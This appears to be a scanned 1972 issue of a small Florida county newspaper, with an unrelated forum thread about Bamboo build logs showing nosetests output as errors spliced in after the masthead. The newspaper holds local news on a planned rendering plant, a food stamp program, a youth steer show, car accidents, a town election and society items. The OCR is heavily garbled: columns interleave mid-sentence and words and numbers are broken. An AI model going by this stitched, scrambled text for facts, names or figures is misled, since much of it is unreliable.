When I run a script in Bamboo using the Script plugin, all of the standard out from the script is reported as an error in the Bamboo log ang is reported in the Error Summary. Is there a way to get it to ignor standard out for logging? I even tried to redirect the std.out to a file to see if I could hide it, but that didn't work. The script that I'm running is nosetests with the xunit output parameter. Here's a sample of the standard out that I get that it shows an error:
----------------------------------------------------------------------
Ran 0 tests in 0.088s
OK
Shows like this in the log:
error 18-Jun-2014 11:44:30 error 18-Jun-2014 11:44:30 ---------------------------------------------------------------------- error 18-Jun-2014 11:44:30 Ran 0 tests in 0.088s error 18-Jun-2014 11:44:30 error 18-Jun-2014 11:44:30 OK
Hi Marc,
Thank you for your question.
There are a few things I would suggest you on doing:
nosetest p1.py > text.txt 2>&1
Or
nosetests --processes 4 &> output.txt nosetests --with-xunit --xunit-file=test_output.xml
Or
The option to make it as quiet as possible (-q for all of them)
The option to turn off output capture (-s works for both pytest and nose, not needed for unittest)
nosetests -q -s test_fixtures:TestSkip
Kind regards,
Rafael
The first option worked great. It still confuses me as to *why* a standard out print statement is interpreted as an error in Bamboo. Shouldn't it me more of an informational item and not an error?
You can always specify what results are successful and what are failures. I've got another post on here somewhere where I go into some detail on how to structure that. My examples are based on the documentation for error levels on robocopy which you can google and find. Robocopy always returns a non-zero return code which is only a "failure" when the number is above 7. So when you script with that you have to force the return to 0 so that the build task reads as successful. As long as you can test for success or failure in your script you can return 0 or return (non-zero) and force the script to succeed or fail based on your criteria instead of the. | https://community.atlassian.com/t5/Bamboo-questions/Running-a-script-using-the-Script-plugin-reports-all-standard/qaq-p/336983 | CC-MAIN-2018-30 | refinedweb | 419 | 78.59 |
I just made this program but it doesn't work the way I want.
[B]#include <iostream> #include <stdlib.h> using namespace std; int main() { int a; cout << "How many names?:"; cin >> a; char name [a][10]; int ra[a]; for (int i=0;i<a;i++){ cout << "name"<<i<<"?:"; cin.getline (name [i],10); } for (int i=0;i<a;i++){ ra[i]=rand() %100+1; } for (int i=0;i<a;i++){ cout << name[i] << ":" << ra[i] << "\n" } cin >> ra[1]; } [/B]The problem is that if I execute the code I can't enter name0 it seems to jump directly to name 1.
Can anybody help with this? | http://forum.codecall.net/topic/60038-program-not-working-correctly/ | crawl-003 | refinedweb | 111 | 91.31 |
sec_rgy_pgo_replace-Replaces the data in an existing PGO item
#include <dce/pgo.h> void sec_rgy_pgo_replace( sec_rgy_handle_t context, sec_rgy_domain_t name_domain, sec_rgy_name_t pgo_name, whose data is to be replaced.
- pgo_item
A pointer to a sec_rgy_pgo_item_t structure containing the new data for the PGO item. The data in this structure includes the PGO item's name, UUID, UNIX number (if any), and administrative data, such as whether the item, if a principal, may have a concurrent group set.
Output
- status
A pointer to the completion status. On successful completion, the routine returns error_status_ok. Otherwise, it returns an error.
The sec_rgy_pgo_replace() routine replaces the data associated with a PGO item in the registry database.
The UNIX ID and UUID of a PGO item cannot be replaced. To change the UNIX ID or UUID, the existing PGO item must be deleted and a new PGO item added in its place. The one exception to this rule is that the UNIX ID can be replaced in the PGO item for a cell principal. The reason for this exception is that the UUID for a cell principal does not contain an embedded UNIX ID.
Permissions RequiredThe sec_rgy_pgo_replace() routine requires at least one of the following permissions:
- The m (mgmt_info) permission on the PGO item, if quota or flags is being set.
- The f (fullname) permission on the PGO item, if fullname is being set.
- /usr/include/dce/pgo.idl
The idl file from which dce/pgo.h was derived.
- error_status_ok
The call was successful.
- sec_rgy_not_authorized
The client program is not authorized to replace the specified PGO item.
- sec_rgy_object_not_found
No PGO item was found with the given name.
- sec_rgy_server_unavailable
The DCE Registry Server is unavailable.
- sec_rgy_unix_id_changed
The UNIX number of the PGO item was changed.
Functions:
sec_rgy_pgo_add(), sec_rgy_pgo_delete(), sec_rgy_pgo_rename(). | http://pubs.opengroup.org/onlinepubs/9696989899/sec_rgy_pgo_replace.htm | CC-MAIN-2016-44 | refinedweb | 291 | 58.48 |
I'm working on a program where I need to input a file with 5 candidates names and votes, and output the name, votes, and the percentage of total votes that candidate received, as well as the overall winner. Right now I've been able to create some arrays and output the basic information, but I have two problems:
1). My output is showing
-858993460
Johnson 5000
Miller 4000
Duffy 6000
Robinson 2500
Ashtony 1800
Press any key to continue . . .
But, I don't know where the -858993460 is coming from...!?!
2). Where should I go from here?
Here is my code:
#include <iostream> #include <iomanip> #include <string> #include <fstream> using namespace std; void main() { int numCan = 0; string candidates[10]; int votes[10]; ifstream inFile; inFile.open("candidates.txt"); while(inFile && numCan < 10) { cout << candidates[numCan] << " " << votes[numCan] << endl; numCan++; inFile >> candidates[numCan] >> votes[numCan]; } inFile >> candidates[numCan] >> votes[numCan]; inFile.close(); } | https://www.daniweb.com/programming/software-development/threads/241385/candidate-votes | CC-MAIN-2018-43 | refinedweb | 153 | 60.04 |
10,274 Related Items Preceded by: Starke telegraph Full Text C. YongeU. or Fla. Library history Galnasvllle Fla.32601 t 4s " ,&& e'I 'OSin. !! e i P . I Work Bise0n COU miig p4I : JA Rendering I I The Sweetest Strawberries This Side OllIea-A: sf VOL. 93 STARKE, FLORIDA 15c NO. 28 Thursday, February 10,1972 Copy i 0 00 00 U 000 00 U ouououoo_______uou .._................................ ...='''''.3M,,_.. k".'."....',.! ., ,. !'!oY.I .d.IMh' Plant Site HereCost ; j.w ,.,rnPJ'.IO '" '00' _os.s". """" 'OO <" ,c +" I Sue EdwardsShows } Set County GetsDetails State At HalfMillion : Champ Steer On I ' Work began last week on clearing the Food Stamps 'I Zack Second site for a half mil lion dollar rendering plant to be constructed Confirmation that a food stamp pro- h NwAh. for low Income families will begin Young Zaok Edwards has shown the I. near Hampton by gram grand champion steer three times at the National Protein, operation in Bradford by March 1, as State Fair in Tampa but he had to takea Inc of Thomasvllle.Ga. previously stated, has been given the back seat to his sister Sue last week. County Cpmmlsslon.Mrs. . Leveda Brown, Gainesville Department of Family Services It should be operation with- Seventeen-year-old Susan the BHS poultry Judging team. assistant director of the for a 12 county area, brought , in the next four five months Edwards made her debut Tues The livestock Judging team of 4 4rt. or the word in person Monday day In the top cattle show In Greg Dodd Mike Oliver and according to Ron Saulter, of It Is the first concrete evidence - the state, winning the grand Zack will both compete In the, M Thomasvllle, president of the the board had that a { championship of the 18th annual state finals March first. t's.... corporation. BrookerElects stamp program will actually be Florida Youth Steer and ,. Saulter said that costs of started here. Carcass Show with her 1,200 Zack entered another steerIn t the completed plant could run :POUnd Charolals Cross. the Southeastern Fat Stock to three-quarters of a million The new program will replace - Show and Sales In Ocala Thurs- dollars, and It will employ from the county's present commodity - Giving way to his sister'slead foods The U.S. and day and Friday captured 15 to 20 persons at the start. program. : but capturing reserve grand champion in the Angus It will be located on part of Department of Agriculture administers - champion with a black Anguswas division and was later named the Federal food k v an 80-acre tract owned by the her brother, Zack, 16, who stamp with the assistance - program Grand ChampionoverallbreedsWaste ,a'' corporation of SR-221 (old 5New0fficials previously had shown the grand , of the Florida Department - Hampton cut-off), east of the : champion In 1966, 1969, and Seaboard Coastline of Family Services (wel- :1971. Both Susan and Zack are Railroad, ) and from fare department to certify applicants - across ITT-Rayon- ,from Starke and members of .. rrar 'w ler's Bradford and sell stamps. 1 Woodyard.The . the Bradford FFA. Their par- ants are Mr. and Mrs. Mau- r company purchased the Tom Josey of the USDA'sFood rice Edwards, Starke, owners : : ? .re. site last September from .1. D. and Nutrition Service, of Edwards Angus Farm. ... and VerNe Odom of Starke, In a one-sided vote Tuesday from Gainesville, met with System ... and It about 20 county grocers Mon- was rezoned from agricultural Brooker residents turned out Bidding for the 1,200 pound day afternoon to acquaint them to Industrial at the the entire slate of city official - champion Charolals Cross " was -, ..... request of Odom for.re-election and Installed with the operation of the. food unusually high and remained -../.. . -, .- .-. .-._, *' ._" ,"" "M 1'- .' -,' !'Il"A."> V'\.,: ... i up new laces stamp program., Mrs. Brown high'Juring the three hour auc.' Funds Patrolman Claud W. E. LIMe 'aeUngchief said a local staff will be set Uon.' 'The Charolals'was. sold Hardy- question nodmanfollowing Tuesday morning'sheadon of the Bureau of Permitting, Rov Carroll, currently suing up in the old Florida Bank for $.55 a pound to Lykes collision. Air & Water Pollution Control the city for refusing him a building at Call and Walnut Bros. Board, Tallahassee, said yesterday license to sell beerwithln2.000 Streets In Starke to administer - Later Gainesville auctioneer Sought that a permit for con- feet of a school church or the stampl.CertlClcaUon. Buddy Clarke announced Belk- construction of pollution con- playground, collected 116 votesto of clients will LlxJsey, Britton Plaza would trol devices for the plant had 63 for Incumbent mayor begin next week, she said. Let- raise all prices to 50 cents a 3 Seriously InjuredIn and been approved would become by the effective bureau Shirley Green. ters of application have already pound. Still being pushed by Sani- when National Protein postsa Joyce Stokes polled 134 to been mailed out in Bradford Zack's 1,245 pound reserve tarian Jack Trawlck. Brad $50,000 surety bond to make beat five-year veteran clerk County to persons now receivIng - champion was bought for 60 ford's proposed solid waste dis- sure that funds are on handto Tommy Cox who polled 34. some kind of assistanceand cents a pound by Gary Rlck-. posal program has been submitted correct defects in case the Two new councilmen were who are probable clientsof etta.;a Brandon contractor. to three different Fed- Auto AccidentsThree plant should! not operate as elected. Henry Harrell led the the new program. USDA will This year's 41 entries marked! eral agencies In a search for designed."We balloting with 119 votes and C. be responsible for policing the the lowest number ever en- dollars to Implement It. J. Stalnaker polled 111 to win grocers and administering that won't allow anything that the two council seats. Incum- end tered In the show. CharlesMoore Word has been given him, persons were seriously failed to yield right of way Bedford crashed into the right creates a nuisance In Bradford bent E. W. Hodges, an eight- announcer, attributed Trawlck told the County; Commission Injured during the week !in and crashed In to the left side of Harris auto. County," Linne said. He added year veteran, was a distant Unlike the commodity program the low number of entries to Monday that the$106- three automobile accidents, according side of Beaumont's 1969 Ford. that when the plant Is com- third with 50 votes and GeorgeO. administered by the county the fact that 50 pounds of weight 000 proposal Is now under consideration to the Starke Police At approximately the same time (S.. Page 4)) pleted, the company will be Pierce was fourth with 41. the local body will have ,had been added to each class, by the U. S. Envi- Department and Florida High allowed to operate for a period R. J. Fonseca had 13 votes nothing to do with the food caused the warm weather which ronmental Protective Service. way Patrol of time, perhaps three or four stamp program. steers to eat less and to the That word came In a phone Fifteen months 180 of 191 voted In the elec- "This Is the program,I think, Larry David :fact some were bought light. conversation from Tom Strick- year-old tion. It was a 94 per cent offers the most to low Income Andrews of Starke was seriously "If the operation Is satisfactory "As a result all of the steers land, an Environmental Protective turnout highest anyone can families," Mrs. Brown told the Injured early Tuesday morn- will be they given a per- remember for the town. "It Is scaled In weighed 850 pounds or more Service employee In commission. Ing In a head-on collision on mit for continued operation withan and will dress out top goodor Atlanta, Trawlck, said. SR-100 between the motorcyle expiration" date up to a The new officers will be such a way that those with the better" he emphasized. The program would! meana he was riding and a pick-up maximum of five years,"Linne sworn In the first Tuesday In least get the most. Judging the show was Bcb county; opera ted garbage pick- truck. said. The permit would haveto March A family of four could purchase - Whlttenburg, 4-H extension up for rural residents! ,. something 3 4 t} I Ik be renewed after the It was difficult to see any $100 dollars In food Andrews rushed to the ex- livestock specialist In Alabamaat onlv towns have now. was piration date he added. other reason for the one-sided stamps for as little as $28, Auburn University.; It would also mean an upgrad- Bradford County; Hospital wherehe election other than the beer she sale!. But another family Winner of the Milton Plumb ing of the county's; solid waste received! emergency treat- Linne explained that his bureau problem Carroll is having of four on a higher income which now Is burned and ment. He was later transferred does not actually issuea might be required to pay $85 Award for the most weight-ln- "To me, If beer was the main to the Gainesville Medical Cen- buried in one of five so- construction permit for the for $100 In stamps. gain by a steer was Dennis issue I don't understand It, ,Inlow of Turkey Creek. His called sanitary land fills, or ter with a shattered wrist bro- plant, but only a permit for one long time resident stated. Bradford County, Mrs.Brown of ken arm and multible cuts and building the air and water pollution will Its cross bred 1,000 pound steer merely dumped In one many abrasions. "A bad day for Brooker andI reported, operate own volunteer dumps. control system. food stamp center. It has two and three previously gained quarters Ji Imagine the futire will tell pounds for 160 days. The proposed system would According to Investigating Plans for the plant, designedby been reported that Zack Edwards was also a consist of 100 four cubic yard Patrolman Claude Hardy of the Reynolds, Smith & Hills (S.. Pag. 4)) Bradford and Union Counties member of the Bradford FFA containers within a 10 minute Starke Police Department. Andrews of Jacksonville, have been pend- would! share one stamp agen- Livestock Judging team which drive from a majority; of the was Injured when Calvin aplckup ing before the Bureau of Per- cy. truck drlved Williams competed at the fair. The team rural homes in the county.; The by mitting since last August but Asked by Commissioner Goodman, Starke madea Public AskedTo , took eighth place along with containers would be pickedup were sent back for necessary Ralph Bryan If It Is true that left turn off SR-100 at the and dumped Into a 30 cubic revision, Linne said, to make more parsons will qualify for Gulf Service Station and Into yard EZ Packer trick three sure that no odors would be Help food stamps than for the com- times per week. the path of Andrews who was discharged Into the air and modity foods, Mrs. Brown re- m Mown I!trirrY Solid waste would! then be eastbound. no waste waters Into streams. Vandals plied In the affirmative. Some hr disposed of In one of two pro- The two vehicles crashed Linne said the design calls Slop families will qualify, becauseof posed landfills. head-on doing an estimated$500 for the use of settling basins their Income, who did not The county's four municipalities damage to Goodman's 1970 quality to receive commodities, for the discharge waters, keepIng - pick-up and $450 to An appeal has been made Siarke. Lawtey, Brookerand Andrews' a .+ fluids contained In the basinin she said. Hampton would also dump motorcycle. k an "aerobic" stage with dissolved for county residents to helpIn "It's an effort to Include the their waste in the two land- Goodman was charged with oxygen; available In the reducing vandalism to coun- working; poor, based on Income - fills. All the town now have .failure to yield! right-of-way. liquid! at all times, so bac- ty road equipment left parkedon Mrs. Brown pointed I roads where work Is being She thinks that makes the garbage pick up. Donald Roes Bedford and teria will consume waste material out Trawlck Is seeking financial Louise Elnor Bedford of Largo In the affluent. done. stamp program superior to the aid from the federal government / Fla, along with John Ep- Commissioner Dave Shuford commodity; program the county I tn twin. mi-china' a 832.- pson Harris of Williston were ; The pollution control official said the bill for repairs for ; Is now under BAKE SALE 000 packer truck, $25,000 rushed to the Gainesville Med- said the plant will discharge vandalism to road machines hit Some reservations were expressed for the 100 trash containers, ical Center In serious condition approximately 15,000 gallons of $300 last month. Somebody t by several commissioners Saturday, F.b. 12 $ 0 000 for a D-8 bulldozer, Saturday night following a : water per day (after removing shoots windshields and takes about switching over r $9,600 for a pick-up truck three car crash on US-30Iaouth. grease) into the aeration ba- hammers and other objects and to stamps from commodities, Heat Door Te and $3 000 for radio equipment sins. From there It will /go purposefully damages machin- however."It , According to Highway Pat- LEILA'SOn salaries to settling basins, after which ery in senseless vandalism malntance You're repairs rol, the Bedford' were Injured concerns me. turnIng - - E. Call St. and fuel would furnishedby night around 7 the water will be recirculated Chairman George Roberts people' loose with stampsto Saturday for reuse In the plant. The made a personal appeal for the county and the mosquito p.m. ., 31, failed waste anything they want Cakas Roll control unit.Teen to yield right-of-way of and Shorthand Whiz operation is actually overde- the public to report Incidencesof to buy," Commissioner Dave . signed to take care of triple vandalism when pulled Into the path of Bed- they are Shuford stated.Poor money ma- And Cookie that amount of water if necessary - ford's observed.! Down time becauseof nagement Is a major reason pick-up truck and Dance car driven by Harold anole W-, Becky Jackson Is shown practicing her to a trip to Clearwater in the future It was said. vandalism, besides being unnecessary many families get In the position - Church of Jesus Christ Beaumont of Closter, New Jer- In preparation for the to compete in the state finals. A portion of the excess water causes delays In of having to obtain commodities - OS Latter Day Saints Set After GameThere sey. State Leadership Conference Bradford County; was one of will go into an irrigation county; road maintenance and in the first place. Harold Beaumont 26, was slightly which is to be held In Clear- the 13 counties who competedin system for a grass sodgrowing costs taxpayers money, he Shuford pointed out. He and shorthand, public operation which the company pointed out.Roberts Commissioner Zedra Hamilton heldFrlcay Injured in the wreck along water during April. typing; , will be dance c.: 01mlpt a speaking and talent divisions. also plans. said It is county; polity have operated the county's; commodIty with Cynthia Beaumont 3. and the New Nat- at night Jackson- Along with Becky, Bonnie The plant Is described as a to bring all equipment to ; program for the last ional Guard; Armory sponsored Brendan, nine months. :Barbara Becky traveled to (Sommunityetatt ) the county barn over weekends, six ' and Joan Hinson represented "chicken years I Trlsler hydrolyzing plant" ville other by the Bradford High School Beaumont, 23, was uninjured Saturday with eight but that It Is Impractical to lank members the BHS Bradford In the shorthand using a completely contained cheerleaders. Jn the crash.According. of chapter drive 20 miles back versus 1 The dance will begin at 9:30 to the Investigating of the Future Business Leaders competition. Dale Norman cooking process for the manufacture equipment the freedom allowed by the Am....Nor ar.d. U. following the last home basketball officer Trooper K. G. EttierIdge. of America to attend the and Debbie Thomas competedIn of an extremely high and forth distance to work would every be hours day. food stamp program) the commissioner " The : T.120,000k* of the season a-' both the Bedfords and Dlstrlc n Conference held at public speaking, Martha protein material with the appearance pointed out that many t r..... DotooMI t..-c-: galnst game Fernandina Beach 'and Beaumonts were traveling the Florida Junior College. She Buckley and Seletta Hall In of sawdust This Is lost In work time plus put miles on machinery - won a second place In the shorthand typing and SandI Morgan in many unnecessary (So. 4)) will last until 12:30: a.m. with south on US-301 and Harris weston Shuford pointed out. PageJulian "Shaft" providing the sound. SH-18. Harris reportedly competition which entities the talent division. (So* Page 4)) , ,) 4 a , .t 1 , - - - -- - . o . u, (, ( ,1 '! ; : : .), ,. ," e t (j, Vt )(oman'6oild.. I" Gladys Moony, Society Editor, 964-7608 .. ---.. --.-.. - - -- - --- --- --- - - - - ! .. The minister of a small church Altar/ Mrs. Crawford was awakened one night by a Society suspicious noise. Out of the Ou"i/ nes Projects/ I 13 HonoredA a I, darkness came a voice: "Don't move or I'll shoot. I'm looking 7 At t Meeting t Stork Shower for your money." .''r "Let me get up and turn the Sy St. Edward's Altar Society Mrs Willard Crawford was I' light on," begged the minister members held their February honored at a stork shower Tuesday J "and I'll hunt, too." meeting in the home of Mrs night, Jan.. 25,. at the Gladys Weldon with Mrs Fran- Church of God annex given by cis Meng presiding a.1 the Ladles Willing Worker band.A . Mrs. Robbie Shatter, Altar Attt pink and blue color schemewas Chairman, announced that Mrs. carried out in the decora- Cecelia Richards volunteered tions. The refreshment table 1 for altar care during February.Mrs. was covered with a white lace cloth and centered with an Weldon reported on Sun- arrangement of pink and blue land sponsorship and the local carnations with a pair of baby cancer closet. Members were, Ict booties In the middle. Mrs. By Informed of the Community Acton Bobby Murner and Mrs. Lee Organization being formed Browning presided at the ESTON JORDAN at the Neighborhood Service punch bowl which was encircled Center for the purpose of assisting with fern and pink and needy and emergency blue florets. cases. Donations of clothing Games with prizes were enjoyed - Mr And Mrs. Colvin Word and household Items are being by the 50 attending. ScottGrilFisold t BO MILLION solicited as well as volunteersto The hostesses presented the VISITORS To Observe 50th Anniversary; distribute material infor- honoree with a baby silverwareset You may think that' you have II mational forms for the Eye as a memento of the oc- Mr. and Mrs. Carl B. Scott vwild lot' of visitors, but how you Bank for Restoring Sight were casion. of Jacksonville announce the like to have 50 million persons Mr. and Mrs. Calvin Ward Church education building. distributed, and members were engagement and approaching ? This is the drop by to see you will celebrate their Golden Their children will be hostson urged to consider donating their UDC Appoints marriage of their daughter, number of individuals who have I Wedding anniversary Sundav afternoon this occasion.All eyes to this worthy project. Gloria, Ellzabetr to Daniel the MonumentIn from 2:30: to 5:30 p.m. friends and relatives. are hit ti P Committee/ On Carl Grlffli son if Mr. and visited Washington Washington D. C., since the In the Bayless Highway Baptist invited to attend. Mrs. Joseph Cissy who, Old CourthouseW. Mrs. Gerald D. Crlffls of Monument was opened to the served as chairman for the Camp Blanding. October 9 188$. March of Dimes production of The wedding will take placeat public on , Showers Gi ven Mrs. Wise HonoredA "You're A Good Man, Charlie T. Weeks Chapter, UDC Arlington United Methodist Washington' Mbnument\ is a Brown" met at the home of Mrs. C. A. Church In Jacksonville large( marble shaft towering to reported the on For Mrs. NormanMrs. t Two ShowersMrs. cess of this affair on and thanked suc- Knight Wednesday afternoon of March 18 at 7:30: p.m. a height of 555% feet which ratesIt last week with 17 members pre as one of the Inllwt masonry members for their assistance. All friends and relatives arc Margaret Wise was the sent. structures' In the world Directlyin Mrs. Michael invited to attend Janet Norman the Gilhooly reported . was honor guest at two stork show- The president, Mrs. George front of I ho Washington. Monument honor guest at two stork show- ers given recently.Hostesses held on each the bingo Saturday games at being 8- Roberts Sr. appointed a com- Is a law pool) of! water ers given recently. at the first shower in the Parish Mem- mittee to meet with the HIstorIcal 'Charlie Brown'Cast known a* the Reflecting: Pool. p.m. Hall. Hostesses for the first shower - were cashiers at Wlnn-Dixie bers Society to discuss preser- This (craten lovely scene be were nurses at the Bradford food present volunteered help EntertainedThe ; reflection of the Monument . store where Mrs. WiseIs cause the ' County Hospital who are on employed.The in continuing this activity. Barbara Ann Lame Weds ving the old County Court (','n he seen<<: In the rather the same shift with Mrs. Norman Mrs. William Glover offered House. cast of"You're a GoodMan honoree was presentedwith to take charge of arrangements Mr. McLeod In Home RitesMiss the Miss long pool. ' from 3 to 11. Refreshments chair During program, Charlie Brown" held a The Washington' Monument is a high by the host- for a parish covered dish supper Norma Canova read an article were served after the party Friday night after the solid Connie One of the world's moat' esses, Byrd, Dotty opening of gifts. Rhoden, Libby Harvey Janice; scheduled for March 2. Barbara Ann Laine Miss Joy Laine sister of the from a 1923 Bradford County final production at the homo structural' We feel that' our business . The most recent shower was Lott, Cherylene Combs, Ann Father James Cregan, pas daughter of Elder and Mrs. bride, was maid of honor Telegraph on the Memorial Day of Mr. and Mrs. Philip Vel- is built on n solid foundation given by friends of the High Craft and Gloria Mack. tor, Informed members of a 0, M. Yarborough of Starke, Jerry McLeod served his brother program of that year. Mrs. C. longs on Lafayette Street. of trust and service. We appreciate land Baptist Church at the home Punch was served with the statewide Penetentlal Pilgrimage and Hugh Edward McLeod Jr., as best man. N. Christy was acceptea uu, The twenty attending Inclu- our ('lllilomerstIKI/ want to of Mrs. Rebecca Wise. Games decorated baby cake after sev- to be held at Nombre De son of Mr. and Mrs. Hugh Following the ceremony a membership.' ded the cast husbands and give !them !the very best in serve, were played and prizes awarded eral games, with prizes. Dlos Mission In St. Augustineon Edward McLeon Sr., of Jasper reception was held at the home Mrs. II. L. Speer and Mrs.G. wives. ice. Why don't you try usT to Mrs Louise Austin, Mrs. The most recent shower was Feb. 20. He also Invitedall were united In marriageat of the bride's parents. Linda J. McGriff Sr. assisted Mrs. Rachel Prescott,and Mrs.Ethel Riven bv Mrs. Wise's sisters. to attend Scripture classes 7 p.m. Thursday, Jan. 27 Johns cut the wedding cake, Knight In serving refreshments. CARD OF THANKS Norman. Rosa and Ruby Mosely at the on Wednesday evenings. at the home of the bride. The and Marie Wynn kept the bride's BAL After opening the gifts punch Maxvllle Civic Center.: Games Members were Invited to the ceremony was performed by book. Assisting were Carolyn Our heartfelt thanks to all and a decorated baby cake were were played, with prizes a- home of Mrs. William Glover the bride's stepfather, Elder Sapp and Elise Pass. A marriage counselor began to who extended comforting sym- served to the 28 guests present. warded to the winners. for the March 1 meeting. Yarborough.For After a wedding trip to Dis- ask a woman some questions pathy and help In our recent sraaxs rtoaroA Punch and a decorated baby her wedding the bride ney World and Silver Springs concerning her disposition:' sorrow. For the beautiful floral - chose a short white satin dress the couple will reside at Jasper - cake were served to approximately "Did you wake up grumpy this offerings and other kindnesses - You can't judge the modern girl 36 guests. Little WomenTo with lace overcoat, and long Mr McLeod Is employedby morning?" we are deeply grate. U.S. 301 NORTH by her clothes. There really sleeves. Her headpiece was a the Layton Corporation in ful.The family of Frank F. Meet Monday ".. Valdosta Ga.Shower. "No, she replied 'JJet: him PHONE isn't enough,evidence. short :vell with scalloped- ,rslgn. < Thomas. 9647500'1 Among the Englishjanguage's ... ...... sleep. .a .- ,.'. "If'rk' .. .. : :. ;,.1-' ;' Money won't' buy love but it many'"puzzling words is" ""Mrs.1 JrE'. Tomlinson will --- .'1 'j t Given makes shopping for it a lot more "economy which means the be guest speaker at the Little Frances Mudge fun. large size In soap flakes and the Women's Club meeting Mon- Weds Mr. For Mrs. LottA small size in automobiles. day at 8 p.m at the club: house. Harley SLADE In MandarinMr. t Thomas Home '** Miss Reeda Lewis, whose and Mrs. Charles Wit- marriage to Larry Lott was Ham Mudge Sr of Mandarin an event of Feb. 4, was hon- Clearance announce, the marriage of their ored at a bridal shower Mon- Heating l daughter Frances Elisabeth day, Jan. 31, given by Mrs.W. . to Thomas Harold Harley, son L. Thomas, Mrs. Paul of Mr and Mrs. Daniel B. Faulkner, and Mrs. Ronnie Harley of Starke. The wedding Thomas at the home of the took place Saturday Feb. 5, latter on Westmoreland Street. at II a.m. in St. Joseph's Cath- A blue and yellow, color SALE olic Church with Father Daw- scheme was carried out in the son performing the nuptials In party decorations. Games with the presence of the Immediate prizes were enjoyed during the families and a few close friends. party hours. The hostesses presented the Centering the altar were two honoree with several pieces pedestal arrangements of white of tier chosen china as' a me- and pink daisies mums, and mento of the occasion. carnations against a background Thirty-five guests were invited - 5 o of lighted tapers In to attend. branched candelabra and potted J palms. DUPLICATE BRIDGE 5 o A program of nuptial organ WINNERSMr. > music was provided by the or- ganist. and Mrs. John Musso- 5 o Mr. Harley attended his son line and Mrs. Marie Dent and Bess Burns tied for first Mrs. 'ThffioIL1tniks. as best man ana the usher m 5 owas Charlie Mudge, brother at Duplicate Bridge Tuesday 5 o of the bride. Billy Mudge, alsoa night where there were six tables - brother of the bride, served In play. Mrs. W. F. Oster as altar boy. and Mrs. F. J, Shaw were : 3J second and Mrs. J, D. Odom Jr. and Mrs. George Miller 1 The bride, given in marriage third. 5 by her father wore an ankle were length gown of pale pink silk aNew ) organza with sheered bodice and long sleeves. In her hair > she wore a crown of spring .(.U.sf Appreehil Week Fell. 14-20 .. flowers rosebuds.and carried three pink 20OFF Miss Mary Mudge attended ( Arrivals It's our way of saying "Thank You" her sister as maid of honor wearing a gown similar to that I of her sister except in laven- To Our 50 Million Guests dar and with short sleeves. She Bradford County Hospital announces - wore a crown of spring flower the following births: In her hair and carried an old fashioned nosegay spring flowers. Mr. and Mrs.Merren Charles ANY HEATER IN DN) STOCK OUR Luncheon Buffet .. phen Llzenbee Charles, Starke., Feb. a 1 son, Ste- ALL WEEK $1.00 o. in home A reception Mandarin of the was where bride's held arrangements parents at the- Norman Mr. and, Lawtey Mrs., Owen a son,Lewis Feb. UP of pink and white daisies 8.The. DiscouNt mums and carnations were used In decorating.The wiy taxes are today, you Shortcake Served Complimentary Strawberry bride's table was covered might as well marry for love. o with a white lace cloth THVRS. FEB. 17 ladies Night'All and wedding centered cake with topped a three-tiered with lilies- DR. D. W. WHIFFEN *, of-the-valley and two wedding Announces, the Association of Ladles Dinners 50% off' bells. Buy NOW And Really SAVE! The buffet-brunch table was DR. J. H. MIMESINCER o covered with a white lace cloth. In Presiding at the coffee service - WI HOLIDAYOF and punch bowl were Misses Optometry .( . / Barbara and Chris Mudge, SLADE GASAPPLIANCES I 9 sisters of the bride. 207 S. Walnut St.Utfksemurr . Following wedding trip to New Orleans the couple will : reside in Tallahassee. AND 9:00 to 5:00 STARKE IN'N] U. $. 301 SOUTH The bride graduated fromFSU in 1971. The groom graduated Closed Wtdnoday M.. M o from BUS in 1963 and Is now A A * * * * A An years'attending service FSU.In the after Army.three Afternoon.y afternoon and 'S.tiai 332 W. Madison St. Phone 964.7701A ' PAGE 2 TRI.irnPAPlI: FFs\. 10. '197 { 4.t t l . ta.. Speaking of People .' .' A 4\ .. .. . Sg. and Mrs. Leroy Adkinon Mr. and Mrs. Merrill Ed- Savings and Loan Economist To Attend Meet Mr. and Mrs Carl Matthews of Tallahassee are guests wards attended the funeral of and Mrs. Mabel Whls- Charley this week Johns.of Sen. and Mrs. his sister Mrs. Wilma Ray Adopts Babies On Programs For Older PersonsMiss ler of Unlonvtlle, Iowa visited In Jacksonville Tuesday.Mr. Mr. and Mrs. Dillow Whls- Friends of Buck Sturgia of of Martha Sue McCain. University, who will discuss ler In Foikston, Ga. and Mr. and Mrs. Richard V. St. Speaking something cap how and Mrs. Virgil Mathews InHUUan work with to Jacksonville will y- Bradford home economist, will senior citizens - regretto learn tivating the First Federal that he> la In Intensive care John and daughter Joy and Savings and Loan Associationof take pert next week In a workshop and Dr. George Aker. !, Ga. over the weekend. at St... Vincent's Hospital! fol- Becky Goolsby attended the graduation Starke will begin a seriesof to provide home economics chairman, Department of Adult lowing surgery. Mr. and Mrs. of their" son Vincent ads featuring some of the extension agents with Information Education, FSU, who will speakon Mrs. Ann! Joellerjbeck of Sturgts lived on Forlythe Road, St. John from Navy boot camp most outstanding picture of about how to use learning and the older adult. Berlin, Germany Is visitingher Starke. for) several years be- In Orlando last Friday. Seaman babies Imaginable.Each the resources. of older persons son-in-law and daughter ford moving to Jacksonville. Apprentice. St. John Is homeon ad will feature a unlqja; and how to plan and Implement Dr. and D. W. Whlffen. Mr. Sturgis Is the brother-In- two weeks leave before reporting baby photo with a humorous programs to fulfill Sen. and Mrs. Charley Johns law of Mrs. Jessie Taylor of to his new base in adult saying plus the advantageof their needs. visited Mr. and Mrs. James Mrs. Gladys Weldon spent Starke. Norfolk, Va. using a particular savingsand "Tho Second Forty Years," Cash and family in Orlando Sunday with Mr. and Mrs. S, loan service. first workshop of its kind, is over the weekend. A. Weldon and family In - - Watch for these baby ads- set !in conjunction with the 21st Macclenny. COLONEL SANDERS' RECIPE you'll get a chuckle each time Annual Conference on Geron- Mrs. A. O. Betts and Mrs.R. . 6- you see them. The first ad appears tology Sunday-Tuesday, Feb. W. King and daughter of Mrs. L. D. Vining spent in Galne.- In this issue 8, at the Flagler Inn Thursday to Sunday with Mr. KtKtllekll fried CkiekeK ville. Miss McCain will par- Qulncey were weekend guestsof and Mrs. J. C. Vlning in Pal- ticipate !in the one-day work- Mr. and Mrs. J. H. Mon- . U.S.301 NORTH PHONE ,".51ZS Miss Anne Terwillegar Ilia. .... shop sponsored by the Florida crief.Mr. atka.A returned to Wesleyan College Sandy Davis Crawford4.ee( Cooperative Extension Service. and Mrs.J.E.Hardy were bachelor, left in charge of his Sunday after a week's vaca- Emphasis will be on housing - LOOK. Engagement ToldMiss / health maintenance, con- guests of Mr. and Mrs.J. infant nephew was faced with a 